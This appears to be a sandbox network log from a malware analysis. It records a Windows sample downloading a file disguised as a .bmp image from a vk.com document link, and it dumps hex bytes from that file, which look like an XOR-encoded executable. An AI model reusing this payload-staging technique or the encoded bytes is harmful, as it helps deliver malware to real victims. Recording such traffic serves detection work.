2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 25 33 43 67 25 32 30 66 69 6c 6c 25 33 44 25 32 32 6e 6f 6e 65 25 32 32 25 32 30 73 74 72 6f 6b 65 25 33 44 25 32 32 25 32 33 38 31 38 63 39 39 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 77 69 64 74 68 25 33 44 25 32 32 32 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 25 33 44 25 32 32 72 6f 75 6e 64 25 32 32 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 37 34 39 2e 37 25 32 30 31 38 6c 2d 31 31 2e 34 25 32 30 31 32 2e 33 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 37 35 33 25 32 30 32 33 2e 35 6c 2d 31 38 25 32 30 31 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 25 33 44 25 32 32 30 25 32 43 31 38 2e 30 30 30 30 30 30 30 30 33 38 35 34 35 33 34 25 32 32 25 32 30 73 74 72 Data Ascii: %3Cg%20fill%3D%22none%22%20stroke%3D%22%23818c99%22%20stroke-width%3D%222%22%20stroke-linecap%3D%22round%22%3E%3Cpath%20d%3D%22M749.7%2018l-11.4%2012.3%22%2F%3E%3Cpath%20d%3D%22M753%2023.5l-18%201%22%20stroke-dasharray%3D%220%2C18.000000003854534%22%20str
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 20 6c 69 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 74 65 78 74 5f 70 72 69 6d 61 72 79 29 7d 0a 23 73 74 6c 5f 6c 65 66 74 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 33 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 7d 0a 5b 64 69 72 3d 72 74 6c 5d 20 23 73 74 6c 5f 6c 65 66 74 7b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 74 3a 30 7d 0a 62 6f 64 79 2e 6d 61 63 20 23 73 74 6c 5f 6c 65 66 74 2c 62 6f 64 79 2e 6d 61 63 20 23 73 74 6c 5f 73 69 64 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 0a 23 73 74 6c 5f 6c 65 66 74 3a 68 6f 76 65 72 2c 23 73 74 6c 5f 6c 65 66 74 2e 6f 76 65 72 7b 74 65 78 Data Ascii: li span{color:var(--vkui--color_text_primary)}#stl_left{display:none;z-index:3;position:fixed;top:0;bottom:0;left:0}[dir=rtl] #stl_left{left:auto;right:0}body.mac #stl_left,body.mac #stl_side{transform:translateZ(0)}#stl_left:hover,#stl_left.over{tex
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 79 5f 41 35 34 30 3a 23 35 35 36 37 37 64 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 41 35 34 30 5f 61 6c 70 68 61 36 34 3a 72 67 62 61 28 38 35 2c 20 31 30 33 2c 20 31 32 35 2c 20 30 2e 36 34 29 3b 2d 2d 74 72 61 6e 73 70 61 72 65 6e 74 5f 62 6c 61 63 6b 3a 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 30 29 3b 2d 2d 74 72 61 6e 73 70 61 72 65 6e 74 5f 77 68 69 74 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 30 29 3b 2d 2d 74 75 72 71 75 6f 69 73 65 3a 23 36 33 62 39 62 61 3b 2d 2d 76 69 6f 6c 65 74 3a 23 37 39 32 65 63 30 3b 2d 2d 76 69 6f 6c 65 74 5f 64 61 72 6b 3a 23 31 66 31 62 32 63 3b 2d 2d 76 69 6f 6c 65 74 5f 6c 69 67 68 74 3a 23 61 33 39 33 66 35 3b 2d 2d 76 69 6f 6c 65 74 5f 6d 75 74 65 64 3a 23 34 62 34 64 36 Data Ascii: y_A540:#55677d;--steel_gray_A540_alpha64:rgba(85, 103, 125, 0.64);--transparent_black:rgba(0, 0, 0, 0.00);--transparent_white:rgba(255, 255, 255, 0.00);--turquoise:#63b9ba;--violet:#792ec0;--violet_dark:#1f1b2c;--violet_light:#a393f5;--violet_muted:#4b4d6
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 69 2d 2d 73 69 7a 65 5f 62 6f 72 64 65 72 31 78 2d 2d 72 65 67 75 6c 61 72 3a 31 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 6f 72 64 65 72 32 78 2d 2d 72 65 67 75 6c 61 72 3a 30 2e 35 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 6f 72 64 65 72 33 78 2d 2d 72 65 67 75 6c 61 72 3a 30 2e 33 33 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 70 61 63 69 6e 67 5f 73 69 7a 65 5f 78 73 3a 34 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 70 61 63 69 6e 67 5f 73 69 7a 65 5f 73 3a 36 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 70 61 63 69 6e 67 5f 73 69 7a 65 5f 6d 3a 38 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 70 61 63 69 6e 67 5f 73 69 7a 65 5f 6c 3a 31 30 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 70 61 63 69 6e 67 5f 73 69 7a 65 5f 78 6c 3a 31 32 70 78 3b 2d 2d 76 6b 75 69 2d 2d 61 6e 69 Data Ascii: i--size_border1x--regular:1px;--vkui--size_border2x--regular:0.5px;--vkui--size_border3x--regular:0.33px;--vkui--spacing_size_xs:4px;--vkui--spacing_size_s:6px;--vkui--spacing_size_m:8px;--vkui--spacing_size_l:10px;--vkui--spacing_size_xl:12px;--vkui--ani
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 38 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 74 72 61 63 6b 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 61 63 74 69 76 65 3a 23 63 32 63 39 64 31 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 74 72 61 63 6b 5f 62 75 66 66 65 72 3a 23 34 34 37 62 62 61 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 74 72 61 63 6b 5f 62 75 66 66 65 72 2d 2d 68 6f 76 65 72 3a 23 34 31 37 37 62 35 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 74 72 61 63 6b 5f 62 75 66 66 65 72 2d 2d 61 63 74 69 76 65 3a 23 33 66 37 32 62 30 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 73 65 61 72 63 68 5f 66 69 65 6c 64 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 64 65 65 66 30 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 73 65 61 72 63 68 5f 66 69 65 6c 64 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 68 Data Ascii: 8;--vkui--color_track_background--active:#c2c9d1;--vkui--color_track_buffer:#447bba;--vkui--color_track_buffer--hover:#4177b5;--vkui--color_track_buffer--active:#3f72b0;--vkui--color_search_field_background:#edeef0;--vkui--color_search_field_background--h
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 35 35 2c 20 30 2e 31 31 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6e 74 72 61 73 74 2d 2d 68 6f 76 65 72 3a 23 65 62 65 64 66 30 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6e 74 72 61 73 74 2d 2d 61 63 74 69 76 65 3a 23 64 37 64 38 64 62 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6e 74 72 61 73 74 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6e 74 72 61 73 74 5f 69 6e 76 65 72 73 65 2d 2d 68 6f 76 65 72 3a 23 33 62 33 62 33 62 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f Data Ascii: 55, 0.11);--vkui--color_background_contrast--hover:#ebedf0;--vkui--color_background_contrast--active:#d7d8db;--vkui--color_background_contrast_secondary_alpha:rgba(255, 255, 255, 0.2);--vkui--color_background_contrast_inverse--hover:#3b3b3b;--vkui--color_
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 6d 75 73 69 63 5f 70 6c 61 79 62 61 63 6b 5f 69 63 6f 6e 2d 2d 61 63 74 69 76 65 3a 23 64 37 64 38 64 62 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 73 74 61 74 75 73 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 32 32 32 32 32 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 73 74 61 74 75 73 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 68 6f 76 65 72 3a 23 32 62 32 62 32 62 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 73 74 61 74 75 73 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 61 63 74 69 76 65 3a 23 33 34 33 34 33 34 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 69 Data Ascii: -vkontakte_color_music_playback_icon--active:#d7d8db;--vkui--vkontakte_color_status_background:#222222;--vkui--vkontakte_color_status_background--hover:#2b2b2b;--vkui--vkontakte_color_status_background--active:#343434;--vkui--vkontakte_color_placeholder_i
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 6f 63 61 6c 28 22 4e 6f 74 6f 20 53 61 6e 73 20 41 72 6d 65 6e 69 61 6e 22 29 2c 75 72 6c 28 2f 66 6f 6e 74 73 2f 4e 6f 74 6f 53 61 6e 73 41 72 6d 65 6e 69 61 6e 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 35 33 31 2d 35 35 36 2c 55 2b 35 35 39 2d 35 35 46 2c 55 2b 35 36 31 2d 35 38 37 2c 55 2b 35 38 39 2d 35 38 41 2c 55 2b 35 38 46 2c 55 2b 46 42 31 33 2d 46 42 31 37 7d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4e 6f 74 6f 20 53 61 6e 73 20 42 65 6e 67 61 6c 69 22 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 4e 6f 74 6f 53 61 6e 73 42 65 6e 67 61 6c 69 22 29 2c 6c 6f 63 61 6c 28 22 4e 6f 74 6f 20 53 61 6e 73 20 42 65 6e 67 61 6c 69 22 29 2c Data Ascii: ocal("Noto Sans Armenian"),url(/fonts/NotoSansArmenian-Regular.woff)format("woff");unicode-range:U+531-556,U+559-55F,U+561-587,U+589-58A,U+58F,U+FB13-FB17}@font-face{font-family:"Noto Sans Bengali";src:local("NotoSansBengali"),local("Noto Sans Bengali"),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49794	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:14 UTC	326	OUT	GET /doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04m9JP6DOfrtJ6pTpZKziindC961cGIVg&api=1&no_preview=1#file2005 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:15 UTC	1214	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:15 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Mon, 26 May 2025 09:39:34 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9072675286560433285_NIZwzbvvuwplm8SqjpFjkmPIk7uJt67onohHZcFA3tg; expires=Sat, 24 May 2025 11:42:15 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://psv4.userapi.com/c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreuF016zSG-PMeLmWuk7pR8kMj7KZ_yatRQQ X-Frontend: front923304 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: C6qHFGvDn8dEOuz0vTyKJI_LoEfu_g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49799	87.240.137.134	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:16 UTC	413	OUT	GET /c909628/u5294803/docs/d20/35db56cda88e/file2005.bmp?extra=v7fu1_CWNuIGPII2txDdJ37vFz3Mi-a9WUqq4TWurCDouZQ7DrI89_f6cEaXMJaDSsyl68_1I5lz_6C1I-oFvaAL_sU10wuOXFtD_NRreuF016zSG-PMeLmWuk7pR8kMj7KZ_yatRQQ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: psv4.userapi.com Connection: Keep-Alive
2024-05-24 11:42:16 UTC	570	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:16 GMT Content-Type: image/x-ms-bmp Content-Length: 744964 Connection: close Last-Modified: Mon, 20 May 2024 12:59:30 GMT ETag: "664b4932-b5e04" Accept-Ranges: bytes Expires: Fri, 31 May 2024 11:42:16 GMT Cache-Control: max-age=604800 X-Frontend: front632907 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Methods: GET, HEAD, OPTIONS Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=15768000 X-Trace-Id: hXk319gzIDDDQ4wevU8smctovH3IRg Accept-Ranges: bytes
2024-05-24 11:42:16 UTC	15814	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 f2 5d aa 88 b6 3c c4 db b6 3c c4 db b6 3c c4 db bb 6e 1b db aa 3c c4 db bb 6e 24 db 3b 3c c4 db bb 6e 25 db 98 3c c4 db bf 44 57 db b3 3c c4 db b6 3c c5 db d6 3c c4 db 03 a2 21 db b7 3c c4 db bb 6e 1f db b7 3c c4 db 03 a2 1a db b7 3c c4 db 47 7c 76 7d b6 3c c4 db 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 45 50 15 15 59 14 11 15 75 6e 48 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1]<<<n<n$;<n%<DW<<<!<n<<G\|v}<EPYunH
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 1a 9a 16 14 15 15 1a 91 e1 15 15 15 7f 17 4f 3e d7 1a 91 cf 15 15 15 5d 1a 91 d2 15 15 15 96 de 10 1a 91 ba 15 15 15 5d 1a 91 89 15 15 15 96 de 10 1a 91 96 15 15 15 5d 61 5b 96 de 1c 1a 90 36 17 15 15 d2 50 cd 16 15 15 15 d2 50 c9 85 24 54 15 9e 50 1d 9e 60 01 c8 15 9e 50 19 c8 48 f5 c8 15 98 50 cd c8 48 de c8 13 45 c8 48 e5 ea c4 4c 90 d5 1a 90 fc 14 15 15 de fd eb ea ea d2 15 37 15 15 15 fc cc 14 15 15 d2 50 c9 99 24 54 15 9e 50 1d 9e 60 01 d2 50 cd 11 15 15 15 c8 15 9e 50 19 c8 48 f5 c8 15 98 50 cd c8 48 de c8 13 45 c8 48 e5 ea c4 4c fc b2 14 15 15 d2 50 cd 16 15 15 15 d2 50 c9 99 24 54 15 fe 92 d2 50 c9 91 24 54 15 fc 43 14 15 15 9c 40 cd d2 50 c9 91 24 54 15 fc 79 ea ea ea d2 50 c9 95 24 54 15 fc 2e 14 15 15 9c 40 cd d2 50 c9 95 24 54 15 fc 44 ea ea Data Ascii: O>]]]a[6PP$TP`PHPHEHL7P$TP`PPHPHEHLPP$TP$TC@P$TyP$T.@P$TD
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: c4 f2 ea ea 96 28 19 c3 5f 15 15 4c 4c 60 1d 7f 14 de 52 0f 15 15 4c 7d 1c 11 15 d5 de 8a f2 ea ea 4c 48 d6 40 9e f9 94 f9 31 16 15 15 7f 02 de af 85 15 15 90 d5 61 10 7f 17 4c d8 3c b6 e5 c6 5f 15 9c 18 f9 c6 5f 15 9c 55 de c6 5f 15 9c 08 f1 c6 5f 15 9c 20 f5 c6 5f 15 9c 28 c9 c6 5f 15 73 99 55 1d c1 5f 15 73 99 18 e9 c6 5f 15 73 99 08 cd c6 5f 15 73 99 10 c1 c6 5f 15 73 99 30 c5 c6 5f 15 73 99 38 d9 c6 5f 15 89 9a 10 15 c1 5f 15 9e 50 15 b6 e1 c6 5f 15 9e 50 11 b6 ed c6 5f 15 98 50 1d b6 11 c1 5f 15 9e 90 c9 e9 ea ea d2 10 ff c6 5f 15 14 15 14 15 b4 ed c6 5f 15 b6 e9 c7 5f 15 d2 10 e5 c7 5f 15 1c 11 15 d5 d2 10 e1 c7 5f 15 14 15 15 15 d2 10 15 c6 5f 15 14 15 15 15 7f 11 4d 7e d5 15 d2 95 11 c6 5f 15 17 15 15 15 7f 11 4d 7e d5 15 9e 18 3d 81 54 15 9c 59 Data Ascii: (_LL`RL}LH@1aL<__U__ _(_sU_s_s_s_s0_s8__P_P_P_______M~_M~=TY
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: ea 2c 69 14 2d 61 09 9f 51 14 21 9d 50 e1 9e 90 29 f0 ea ea 9d 40 e0 7f 17 34 69 14 2d 98 50 e1 45 fe 4f 1a ab d7 45 de 48 f0 ea ea 4c 90 d5 61 51 9e 90 25 f0 ea ea 9e 00 39 f0 ea ea 3e d7 16 50 01 96 ed 14 1a 93 ce 14 15 15 7f 17 47 98 90 21 f0 ea ea 45 de 6b 32 15 15 96 d1 19 96 ed ea 1a 91 10 16 15 15 9e 90 39 f0 ea ea ff ea 90 ff f0 ea ea fe 33 7f 14 ea a0 39 f0 ea ea 98 90 21 f0 ea ea 45 de 5a 32 15 15 96 d1 19 96 ed ea 1a 91 c3 17 15 15 9e 90 39 f0 ea ea 26 dc ff ea 90 ff f0 ea ea 44 44 7f 10 9c 90 39 f0 ea ea 98 50 e1 45 7f 14 98 90 21 f0 ea ea 45 44 ea a0 01 f0 ea ea ea 55 69 35 54 15 9c 90 29 f0 ea ea 90 d5 1a 91 00 17 15 15 7f 15 98 98 2d f0 ea ea 44 9e 98 31 f0 ea ea 45 98 50 e1 45 9e 90 3d f0 ea ea 9e 11 90 f5 da 5f 15 ea 21 14 ea 55 f1 35 54 Data Ascii: ,i-aQ!P)@4i-PEOEHLaQ%9>PG!Ek2939!EZ29&DD9PE!EDUi5T)-D1EPE=_!U5T
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 35 73 9e 50 ef af ea ea 15 15 9c 48 e3 73 2e d7 60 12 73 9c 58 ef 52 fe 19 73 ff 73 9c 50 ef fe 11 ff 9c 50 e3 9e 58 ed fe 12 ff 9c 50 e7 9e 58 d5 ad ea 6a 15 15 73 2e ed 66 35 73 9e 50 e7 1e 68 b1 73 9c 50 f5 9e 50 e1 9c 50 f7 9e 60 f5 9c 58 f3 9e 40 f1 73 9c 68 fd fe 34 26 d5 73 2c 50 b1 1a 81 d5 5d 30 15 15 15 95 10 15 95 ea 6a 9c 50 de 9e e6 9e c6 9c 60 f5 9c 40 f1 9c 60 d5 9e 68 81 9e 50 a9 90 d5 1a 90 e3 e9 ea ea 9e 58 ad fe 13 9e 40 f1 9e 60 f5 9e 50 de aa ea 2a 15 15 d4 de 01 73 2e d2 1a 97 8a 17 15 15 54 9c 48 9d 9c 58 ad 9e dd 9e 50 cf 9e ed 26 ec 9c 48 e5 94 f2 15 95 15 15 9c 48 e1 9c 68 a9 aa ea 6a 15 15 36 d2 9c 48 ed 36 da 9c 50 91 16 d4 1a a2 ed ad ea 6a 15 15 9c 68 a1 73 2e dd 1a 96 ff 17 15 15 9e 50 91 73 2e 50 89 1a 96 26 17 15 15 73 2e Data Ascii: 5sPHs.`sXRssPPXPXjs.f5sPhsPPP`X@sh4&s,P]0jP`@`hPX@`P*s.THXP&HHhj6H6Pjhs.Ps.P&s.
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 54 15 87 15 15 15 5d 4a 54 15 af 15 15 15 41 4a 54 15 d0 15 15 15 75 4a 54 15 a1 15 15 15 79 4a 54 15 c3 15 15 15 6d 4a 54 15 c5 15 15 15 91 4a 54 15 5e 15 15 15 85 4a 54 15 d5 15 15 15 89 4a 54 15 c6 15 15 15 8d 46 54 15 1c 15 15 15 bd 4a 54 15 c4 15 15 15 a1 4a 54 15 c8 15 15 15 d5 4a 54 15 c2 15 15 15 d9 4a 54 15 df 15 15 15 cd 4a 54 15 a0 15 15 15 f1 4a 54 15 d4 15 15 15 e5 4a 54 15 c1 15 15 15 e9 4a 54 15 b1 15 15 15 1d 75 54 15 b8 15 15 15 0a 75 54 15 ca 15 15 15 35 75 54 15 86 15 15 15 39 75 54 15 f5 15 15 15 2d 75 54 15 ae 15 15 15 51 75 54 15 db 15 15 15 45 75 54 15 f4 15 15 15 49 75 54 15 ce 15 15 15 7d 75 54 15 cb 15 15 15 61 75 54 15 cc 15 15 15 95 75 54 15 d3 15 15 15 7d 41 54 15 36 15 15 15 99 75 54 15 70 15 15 15 b5 41 54 15 3f 15 15 15 8d Data Ascii: T]JTAJTuJTyJTmJTJT^JTJTFTJTJTJTJTJTJTJTJTuTuT5uT9uT-uTQuTEuTIuT}uTauTuT}AT6uTpAT?
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 15 15 15 15 15 15 15 15 15 15 17 15 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 17 15 15 15 17 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 Data Ascii:
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: cc 89 80 10 ab f2 34 d9 7a 08 d6 57 ff db 48 4c c3 03 95 71 49 90 0e d8 18 ac fa 8c 8a e3 f5 ba e1 24 fc e9 90 f7 34 0b 2f 8b 62 fa 38 93 ad b7 1e f2 c6 ab 8a 38 de 4c b5 b9 7c 7a 4a 79 39 e3 59 33 66 32 34 2f 55 3c ec 2f 5f 0b 97 62 32 eb 85 53 10 1f 20 53 28 24 f2 16 6e 1e 90 c4 62 13 f0 df 59 f9 68 ff 7d 39 ca dd 21 a4 1f 93 37 ca ec 46 fc 1d e5 1e 15 6e fc ef d1 79 19 3e 0b c6 c9 56 8f 6b ac 26 a2 0d 84 1c 3f da 4e 50 f6 ca 59 7c 4a eb ed 23 0f 9e 35 51 68 fd ec a4 a2 b2 f8 1d c6 00 06 9e 34 b6 1a fe f3 b5 3a 69 eb 08 9f 81 90 a5 b9 80 41 c0 13 4a 88 36 b4 f0 80 40 98 9f 93 d4 72 06 a6 f4 87 a9 0a d7 77 45 74 51 cd cf ab 6b f9 f6 42 14 4f fd 49 9a 05 a8 91 a5 bc 6a 47 c2 f6 f6 12 87 ba 71 da b8 bd 31 04 f5 74 5b 4f 7a fa 4a bd 89 45 d7 81 25 36 16 3d Data Ascii: 4zWHLqI$4/b88L\|zJy9Y3f24/U</_b2S S($nbYh}9!7Fny>Vk&?NPY\|J#5Qh4:iAJ6@rwEtQkBOIjGq1t[OzJE%6=
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 56 8b 8a 39 fb c0 6d 56 6e eb 6c ef 5d 6a b0 74 e6 f1 8a 9f 12 cf 25 90 26 2d 92 97 ab 98 2e 4b 6d 41 81 ac 41 9e ba d7 14 76 63 7b 5e de f3 30 28 c3 c3 b8 9c 5c 68 31 b8 c7 b5 ed 01 14 00 72 e4 4a 30 fe 93 c8 26 a3 e0 2e 1b e8 43 96 9b 55 eb 6d 99 a8 95 f2 39 c2 37 e5 6c 22 62 65 14 a5 bb 5a 93 e3 e9 2c c0 57 09 d5 a5 92 ff 2b 28 c4 53 bc 20 80 ea df c0 b4 db ce ae 4d 10 bd 2b a7 f0 78 6d df e5 d7 11 42 a2 7e e1 d2 18 67 f5 ba 56 05 59 9a f4 11 da 68 3e d0 66 a9 73 19 23 f3 86 8f 7a 00 17 45 b2 cb 0a 59 a0 48 9b f1 a9 9e ce a9 3b 06 94 89 a3 e7 d1 b5 df eb b4 aa f2 29 b6 82 86 32 43 bc 66 e0 6a d7 56 64 cf 04 ea 94 62 06 9a 5d 0f 1c c1 fd 96 88 13 25 b3 92 0f df d5 57 98 11 5a d4 9a be 9b f9 41 18 e1 48 54 68 37 18 46 76 d8 a5 56 35 9c 6a ac 98 0e c8 3c Data Ascii: V9mVnl]jt%&-.KmAAvc{^0(\h1rJ0&.CUm97l"beZ,W+(S M+xmB~gVYh>fs#zEYH;)2CfjVdb]%WZAHTh7FvV5j<
2024-05-24 11:42:16 UTC	16384	IN	Data Raw: 27 84 96 9d b2 5e 16 a3 bd cb 7a 2f 30 6e fb 35 ec f8 8b 6e c8 49 7f ce 01 c0 33 ec e4 84 86 83 29 b8 eb 2b d7 de 2c c5 8c fc 65 17 30 da b1 f5 55 90 ed cf ac d3 0b 8f a9 2a 08 17 02 98 97 f3 80 ba 62 fe 73 73 43 46 c8 93 af 5f cc ed 50 15 09 6b cf a3 f9 da 45 1a 75 7e 74 12 37 8b b1 85 13 87 2b 8c 86 d4 33 65 0a 3f 9d 68 37 b3 9c 9b 99 37 b3 8a bf f0 4e b0 27 d9 b4 2f cf fd ab 83 9b fc d9 93 30 cb 6f 5d 08 e5 42 5a 46 7d ed c0 4d 53 97 44 1e 9d bf d7 ad 7a 6f cd b7 c6 f0 96 c1 76 a2 c4 7d c2 49 0f 2f 24 f2 9f 54 ac a8 e1 a9 f3 19 62 e3 ed 69 e8 97 51 a7 1a cc 8b f6 ee 10 8f 83 6f 1e e5 fc 7e ce fa c4 5c 8c b7 60 ca a6 93 07 8d ec d4 36 fa 2d c1 60 5c 18 a9 db 9a fb db b7 49 3c 29 29 2f c2 c4 90 1a 23 06 8a ce 24 4c 66 1f d5 17 40 6a cd b3 f1 72 d8 fd 7d Data Ascii: 